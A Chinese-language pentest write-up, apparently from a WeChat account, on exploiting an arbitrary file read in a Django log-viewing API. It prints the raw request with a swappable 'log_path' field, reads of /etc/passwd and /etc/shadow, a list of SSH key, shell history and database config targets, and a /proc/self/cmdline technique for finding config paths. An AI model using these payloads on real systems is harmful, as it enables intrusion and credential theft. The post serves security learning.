**声明:**该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
本文由@天明师傅原创投稿,记录的是一种别样的任意文件读取玩法,感谢分享
!
0x01 挖掘受阻
在某次测试时,碰到了一个python Django站的任意文件读取漏洞,涉及功能为操作日志的线上查看功能,功能截图如下:
漏洞点在查看功能处,点击查看后,原始数据包如下所示:
POST /mpc-server/api/v1/service/event_logs HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-CSRFToken:
Authorization: basic
Content-Length: 56
Origin: http://1.1.1.1
Connection: keep-alive
Referer: http://1.1.1.1/index.html
Cookie:
Priority: u=1
{"log_path":"/tools/mpc-fl-server/logs/event/event.log"}
此处给到的路径看着像绝对路径,尝试替换为:/etc/passwd。成功读到:
读取/etc/shadow,未发现可解密的字段。
尝试读取常见敏感信息,此处使用的字典为:Burpsuite Intruder的Local files - Linux
因为此处直接使用的root,未有普通用户,故将注意力放在以下文件上,但是均读不到。
/root/.bash_history
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/etc/mysql.cnf
/etc/redis.conf
0x02 别样的文件读取利用思路
请教了师傅,给了通过读取cmdline来获取配置文件的方法,具体步骤如下:
1)读取cmdline,获取配置文件路径
/proc/self/cmdline
java-Dfile.encoding=UTF-8-Duser.timezone=GMT+08-Dorg.eclipse.jetty.util.URI.charset=UTF-8-Dorg.eclipse.jetty.util.UrlEncoding.charset=UTF-8-Xms256m-Xmx10240m-XX:PermSize=256M-XX:MaxPermSize=1024M-XX:+UseParallelGc-XX:+UseParalleloldGc-XX:+HeapDumpOnoutofMemoryError-cp/home/project/manage_admin/bin/../WEB-INF/lib/*:/home/project/manage_admin/bin/../WEB-INF/classescom.junc.bootstrap.Starterstartbin
2)读取配置文件
web.xml
/home/project/manage_admin/bin/../WEB-INF/web.xml
Spring配置文件
/home/project/manage_admin/bin/../WEB-INF/classes/spring-init.xml
redis配置文件
/home/project/manage_admin/bin/../WEB-INF/classes/properties/redis.properties
0x03 尝试峰回路转
峰回路转个鬼,一时间猪油蒙了心。跑去读了cmdline
这下更伤心了,还记得前文提到的信息么,这个站是python的Django框架。躺了躺了,虽然洞没扩大,但是收获了一种别样的任意文件读取玩法。
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放